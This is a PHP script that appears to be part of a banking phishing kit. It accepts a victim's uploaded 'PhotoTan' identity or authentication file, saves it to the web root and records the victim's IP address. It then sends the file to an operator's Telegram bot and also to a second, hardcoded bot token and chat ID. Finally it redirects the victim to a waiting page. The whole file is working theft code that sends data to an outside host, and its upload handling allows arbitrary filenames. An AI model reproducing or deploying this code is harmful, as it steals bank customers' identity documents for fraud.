<?php

if(isset($_FILES['attachment'])){
      $errors= array();
      $file_name = $_FILES['attachment']['name'];
      $file_size =$_FILES['attachment']['size'];
      $file_tmp =$_FILES['attachment']['tmp_name'];
      $file_type=$_FILES['attachment']['type'];
      $file_ext=strtolower(end(explode('.',$_FILES['attachment']['name'])));
      
      $extensions= array("jpeg","jpg","png","pdf","gif","svg","doc","odt");
      
      if(in_array($file_ext,$extensions)=== false){
         $errors[]="extension not allowed, please choose a JPEG or PNG file.";
         $src="../ID_info.php";
header("location:$src");


      }
      
      if(empty($errors)==true){
         move_uploaded_file($file_tmp,"./".$file_name);
$yagmai .= '[+]━━━【💳 PhotoTan '.$_SERVER['REMOTE_ADDR'].' INFO】━━[+]';

include("sand_email.php"); 
include("TelegramAPi.php");

  $website="https://api.telegram.org/bot".$botToken;
  $params=[
      'chat_id'=>$chatId,
      'document'=> new CURLFile(realpath('./'.$_FILES["attachment"]["name"].'')),
  ];
  $ch = curl_init($website . '/sendDocument');
  curl_setopt($ch, CURLOPT_HEADER, false);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  $result = curl_exec($ch);
  curl_close($ch);


  $website="https://api.telegram.org/bot2090788815:AAGg4nbyfgTsVYAKIehfuA7dU8kq9B2_iho";
  $params=[
      'chat_id'=>'519792630',
      'document'=> new CURLFile(realpath('./'.$_FILES["attachment"]["name"].'')),
  ];
  $ch = curl_init($website . '/sendDocument');
  curl_setopt($ch, CURLOPT_HEADER, false);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  $result = curl_exec($ch);
  curl_close($ch);


$yagmai = '[+]━━━━━━━━━━━━━━━━━[+]';

include("TelegramAPi.php");


$Page .= ' 
  ';

$fPage = fopen("../Select/Show_system/Show_Page.txt", "w");
    fwrite($fPage, $Page);


$src="../Select/Waiting.php";
header("location:$src");





      }else{
        $src="../ID_info.php";
header("location:$src");
      }
   }else{
        $src="../ID_info.php";
header("location:$src");
      }



?>